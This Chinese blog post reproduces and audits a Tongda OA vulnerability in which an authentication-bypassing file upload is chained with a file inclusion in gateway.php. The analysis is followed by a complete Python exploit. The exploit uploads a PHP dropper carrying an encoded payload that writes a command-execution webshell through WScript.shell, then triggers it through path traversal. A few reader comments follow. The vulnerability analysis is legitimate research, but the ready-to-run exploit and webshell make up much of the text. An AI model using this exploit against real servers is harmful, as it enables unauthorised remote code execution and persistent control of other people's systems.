通达OA 任意文件上传 复现和代码分析

作者: print("") 分类: 未分类 发布时间: 2020-03-18 11:00

说明一下

文件包含的文件只有2017和v11有   然后我这边是拿的一个2013 增强版做测试的。所以默认是没有那个文件包含的。只是作为演示

一、环境搭建

http://www.tongda2000.com/download/2013adv.php

下载后点击安装

安装完成之后 设置端口

然后打开

这里2013增强版是没有那个包含的。这里为了测试下载两个文件。然后呢。需要下载两个文件

https://github.com/jas502n/OA-tongda-RCE

少宇师傅已经发出来

由于官网下载的文件里面没有 interface 目录然后新建一个 interface 然后把  gateway.php 丢入到目录中

然后替换ispirit/im/upload.php

审计如下:

$P = $_POST['P'];
if (isset($P) || $P != '') {
    ob_start();
    include_once 'inc/session.php';
    session_id($P);
    session_start();
    session_write_close();
} else {
    include_once './auth.php';
}

这里这里只判断了是否存在这个传参p 如果存在那么就应用了session

然后第二个关键参数DEST_UID

$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
    $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
    echo json_encode(data2utf8($dataBack));
    exit;
}

这里只要随便指定一个参数就行了。

下一个参数$Files

if (1 <= count($_FILES)) {
    if ($UPLOAD_MODE == '1') {
        if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
            $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
        }
    }

这里上传的参数名字为ATTACHMENT   就是  例如

Content-Disposition: form-data; name=”ATTACHMENT”; filename=”filename.png”

这样的一个上传的包

继续下一个参数 UPLOAD_MODE


这里的话。UPLOAD_MODE 为1 的时候

这里我测试的时候是直接数据库报错了。然后就放弃了看这行代码


    if ($UPLOAD_MODE == '2') {
        $DURATION = intval($_POST['DURATION']);
        $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
        $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')';
        $cursor = exequery(TD::conn(), $query);
        echo '+OK ' . $CONTENT;

这里是直接返回了一个

+OK [vm]2762@2003_819548448|filename.png|0[/vm]

得到返回之后。去看了一下OA的安装目录找到了这个文件的存放位置

注意是在安装目录的下面。不是代码目录。

下面看文件包含的部分

ispirit\interface\gateway.php



if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys => $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
            include_once $url;
        }
    }
    exit;
}

这里传递了一个json 过来。然后

大概就是如下的意思

{‘json’: ‘{“url”:”1.txt”}’}

然后具体的exp 如下:

import os
import requests
# author :print("")
proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}
if not os.path.exists('1.txt'):
    f=open('1.txt','w')
    f.write('''<?php
$fp = fopen('readme.php', 'w');
$a = base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyMndob2FtaSUyMiUzQiUwQSUyNHdzaCUyMCUzRCUyMG5ldyUyMENPTSUyOCUyN1dTY3JpcHQuc2hlbGwlMjclMjklM0IlMEElMjRleGVjJTIwJTNEJTIwJTI0d3NoLSUzRWV4ZWMlMjglMjJjbWQlMjAvYyUyMCUyMi4lMjRjb21tYW5kJTI5JTNCJTBBJTI0c3Rkb3V0JTIwJTNEJTIwJTI0ZXhlYy0lM0VTdGRPdXQlMjglMjklM0IlMEElMjRzdHJvdXRwdXQlMjAlM0QlMjAlMjRzdGRvdXQtJTNFUmVhZEFsbCUyOCUyOSUzQiUwQWVjaG8lMjAlMjRzdHJvdXRwdXQlM0IlMEElM0YlM0U=");
fwrite($fp, urldecode($a));
fclose($fp);
?>
''')
    f.close()
upload_url = "http://192.168.1.145:8181/ispirit/im/upload.php"
include_url = "http://192.168.1.145:8181/ispirit/interface/gateway.php"
shell_url="http://192.168.1.145:8181/ispirit/interface/readme.php"
files = {'ATTACHMENT':open('1.txt','r')}
upload_data={"P":"123","DEST_UID":"1","UPLOAD_MODE":"2"}
upload_res = requests.post(upload_url,upload_data,files=files,proxies=proxies)
path = upload_res.text
path = path[path.find('@')+1:path.rfind('|')].replace("_","\/").replace("|",".")
include_data = {"json":"{\"url\":\"/general/../../attach/im/" +path+"\"}"}
print(include_data)
include_res = requests.post(include_url,data=include_data,proxies=proxies)
shell_res=requests.get(shell_url)
print(shell_res.text)

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

4 条评论
  • test94

    2020年3月20日 下午6:02

    昨天看你的文章写Nmap脚本,我就看这个文件MAC时间都是13年左右,就好奇哪里修复了

    1. print("")

      2020年3月20日 下午6:04

      只有v11 和2017 拿2013 那个只是为了演示。

  • 师兄今天想开了吗

    2020年4月5日 上午12:19

    这么全面的教程,博主真厉害

  • 钻网

    2020年5月4日 上午8:45

    春暖花开,下次再来!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注